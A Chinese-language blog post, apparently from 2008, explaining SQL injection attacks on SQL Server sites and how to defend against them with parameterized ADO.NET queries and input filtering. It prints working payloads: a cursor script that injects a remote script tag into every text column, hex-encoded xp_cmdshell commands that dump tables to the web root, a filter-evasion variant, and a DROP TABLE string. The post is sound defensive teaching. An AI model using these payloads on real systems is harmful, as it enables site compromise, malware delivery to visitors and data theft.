根據近日新聞報導，2008 年四月底開始，在歐美陸續發生資料隱碼（SQL Injection）攻擊事件，最近已蔓延到台灣。在這波攻擊中，台灣已有無數網站受害，大家實在不可不慎。
試想，如果要攻擊一個網站該從何著手呢？首先，我們可以透過要求應用程式的表單輸入欄位或是 HTTP 查詢字串，來尋找可能的程式漏洞。當我們嘗試對應用程式要求含有單引號的表單輸入資訊或是 HTTP 查詢字串，並得到「內部伺服器錯誤」，那就幾乎可以篤定這個應用程式接受來自任何使用者的輸入，而且是藉由串連字串執行 SQL 命令。我們假設伺服器端執行的程式碼如下：
當程式因為執行語法錯誤的 SQL 陳述式而引發未處理的例外狀況時，無疑也透露程式可能潛在的資料隱碼弱點。這時只要使用查詢分隔符號（;）註解分隔符號（--），就可將惡意程式碼插入字串中，並組合成有效的 SQL 陳述式。以下範例會在預設的資料庫中，植入惡意連結到所有資料表中的長字串欄位：
SELECT select_list FROM table_source WHERE column_name = '';
declare object_cursor cursor
for
select name, id from sysobjects where xtype='U' and category = 0
open object_cursor
declare @stmt nvarchar(4000),@objec_name nvarchar(128), @object_id int, @column_name nvarchar(128)
fetch next from object_cursor into @objec_name, @object_id
while @@fetch_status = 0
begin
declare column_cursor cursor
for
select name from syscolumns where id = @object_id and length >= 255 and xtype in (167,231)
open column_cursor fetch next from column_cursor into @column_name
if @@fetch_status = 0
begin
set @stmt = 'update ' + @objec_name + ' set '
while @@fetch_status = 0
begin
set @stmt = @stmt + @column_name + '=' + @column_name + '+''<script src=''''http://example.com/s.js''''></script>'','
fetch next from column_cursor into @column_name
end
set @stmt = left(@stmt, len(@stmt)-1)
exec( @stmt )
end
close column_cursor
deallocate column_cursor
fetch next from object_cursor into @objec_name, @object_id
end
close object_cursor
deallocate object_cursor--'
From xkcd
如果你認為只要過濾單引號，就可以防範未然，那就錯了。以下範例將利用 xp_cmdshell 執行以 Hex 編碼轉換後的命令字串，將 sysobjects 資料表輸出至 c:\inetpub\wwwroot\ 目錄：
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare @s varchar(255)
select @s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50
exec master..xp_cmdshell @s
如果連單引號跟空白字元都被拒絕輸入呢？以下範例使用註解分隔符號（/**/）替代空白字元依舊可以產生有效的陳述式：
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50/**/
exec/**/master..xp_cmdshell/**/@s
如何防範
- 不要信任來自使用者的資訊，包括查詢字串、表單變數以及 cookie 值都必須進行驗證及過濾。
- 使用參數型命令查詢取代用字串串連的方式建立 SQL 查詢。
- 對遠端永遠都使用自訂錯誤訊息網頁，防止內部伺服器錯誤的詳細錯誤資訊洩露在客戶端。
- 應用程式所使用的資料庫帳戶，盡可能給予所需的最低權限存取資料庫。
參數命令查詢範例
在 ASP.NET 很多人習慣用以下方式建立 SQL 查詢：
string cmdText = string.Format("SELECT * FROM Users " +
"WHERE username='{0}'", username);
SqlCommand cmd = new SqlCommand(cmdText, conn);
基於安全考量，你應該使用參數型命令查詢。如以下範例：
string cmdText = "SELECT * FROM Users " +
"WHERE Username LIKE @username";
SqlCommand cmd = new SqlCommand(cmdText, conn);
cmd.Parameters.AddWithValue("@username", txtSearch.Text + "%");
SqlDataReader sdr = cmd.ExecuteReader();
當使用者輸入搜尋字串 "someone" 時，ADO.NET 會提交以下如下查詢命令給 SQL Server：
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(8)',@username=N'someone%'
但萬一是輸入以下的惡意字串：
'; DROP TABLE Users --
則會產生以下查詢陳述式：
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(23)',@username=N'''; DROP TABLE Users --%'
由此可見 ADO.NET 會自動使用兩個單引號置換內嵌的單引號，所以輸入資料永遠被視為字串常數，而非串連成動態 SQL 指令的字串。
善用規則運算式（Regular Expressions）
如果你非要用字串串連的方式建立 SQL 查詢的話，你就要自己篩選輸入資料。以下範例使用規則運算式過濾特殊字元及部份關鍵字：
string inputString = txtSearch.Text;
inputString = Regex.Replace(inputString, @"\b(exec(ute)?|select|update|insert|delete|drop|create)\b|[;']|(-{2})|(/\*.*\*/)", string.Empty, RegexOptions.IgnoreCase);
請注意，如果是使用 LIKE 來執行字串比較，即便是使用參數型命令，你仍需要逸出萬用字元：
Regex re = new Regex(@"(?<EscapeChar>[\[\%_])");
inputString = re.Replace(inputString, "[${EscapeChar}]");
有關 LIKE 語法的詳細資訊，請參考這裡。
參考文章：
SQL Injection Attacks by Example by Steve
SQL 資料隱碼 by Microsoft
